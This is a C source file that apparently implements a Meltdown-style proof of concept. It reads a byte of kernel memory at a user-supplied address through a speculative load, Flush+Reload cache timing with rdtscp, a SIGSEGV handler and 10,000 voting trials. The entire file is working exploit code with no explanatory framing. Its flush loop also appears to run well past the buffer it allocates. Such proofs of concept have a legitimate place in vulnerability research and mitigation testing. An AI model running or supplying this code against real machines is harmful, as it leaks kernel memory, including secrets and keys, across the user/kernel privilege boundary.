#include <err.h>
#include <errno.h>
#include <inttypes.h>
#include <setjmp.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const unsigned		cacheline_size = 64;
const unsigned		pgsz = 4096;
const unsigned		ntrials = 10000;

jmp_buf			reset;
uint64_t		kaddr;
uint8_t			*kptr;
uint8_t			kbyte;
void			*ubuf;
uint8_t			*uptr;
unsigned		vote[256];

static inline uint64_t
rdtsc(void)
{
	uint32_t lo, hi, tag;

	asm volatile("rdtscp" : "=a"(lo), "=d"(hi), "=c"(tag));

	return ((uint64_t)hi << 32) | lo;
}

static inline void
clflush(const void *ptr)
{

	asm volatile("clflush (%0)" : : "r"(ptr));
}

static inline uint8_t
core(const uint8_t *k, const uint8_t *u)
{
	uint8_t v;

	asm volatile(
		"0:\n"
		"	mov (%%rcx),%%al;\n"
		"	shl $0xc,%%rax;\n"
		"	jz 0b;\n"
		"	mov (%%rbx,%%rax,1),%%rbx"
		: "=b"(v) : "c"(k), "b"(u) : "ax");

	return v;
}

static void
sigsegv(int signo)
{
	uint64_t t[256 + 1], tmin;
	unsigned i, imin;
	volatile uint8_t ubyte;

	(void)signo;

	t[0] = rdtsc();
	for (i = 0; i < 256; i++) {
		ubyte = uptr[pgsz*i];
		t[i + 1] = rdtsc();
	}

	imin = 0;
	tmin = t[1] - t[0];
	for (i = 1; i < 256; i++) {
		if (t[i + 1] - t[i] < tmin) {
			imin = i;
			tmin = t[i + 1] - t[i];
		}
	}
	vote[imin]++;

	longjmp(reset, 1);
}

int
main(int argc, char **argv)
{
	char *end;
	int error;
	unsigned trial;
	volatile uint8_t ubyte;
	unsigned i, ibest, vbest;

	setprogname(argv[0]);
	if (argc != 2)
		errx(1, "usage: %s <addr>\n", getprogname());

	errno = 0;
	kaddr = strtoumax(argv[1], &end, 0);
	if (end == argv[1] || end[0] != '\0' || errno)
		errx(1, "invalid address");
	kaddr &= ~(uint64_t)0x7;
	kptr = (void *)(uintptr_t)kaddr;
	fprintf(stderr, "kptr %p\n", kptr);

	error = posix_memalign(&ubuf, 4096, 256*pgsz);
	if (error) {
		errno = error;
		err(1, "posix_memalign");
	}
	arc4random_buf(ubuf, 256*pgsz);

	uptr = ubuf;
	fprintf(stderr, "uptr %p\n", uptr);

	if (signal(SIGSEGV, &sigsegv) == SIG_ERR)
		err(1, "signal");

	register uint8_t *uptr0 = uptr;
	register uint8_t *kptr0 = kptr;

	for (trial = 0; trial < ntrials; trial++) {
		if (setjmp(reset) == 0) {
			for (i = 0; i < 256*pgsz*cacheline_size; i++)
				clflush(&uptr0[i*cacheline_size]);
			ubyte = core(kptr0, uptr0);
		}
	}

	if (signal(SIGSEGV, SIG_DFL) == SIG_ERR)
		err(1, "signal");

	ibest = 0;
	vbest = vote[0];
	for (i = 0; i < 256; i++) {
		fprintf(stderr, "vote[%02x] = %u\n", i, vote[i]);
		if (vote[i] > vbest) {
			ibest = i;
			vbest = vote[i];
		}
	}

	if (printf("%02"PRIx8"\n", ibest) < 0)
		err(1, "printf");

	return 0;
}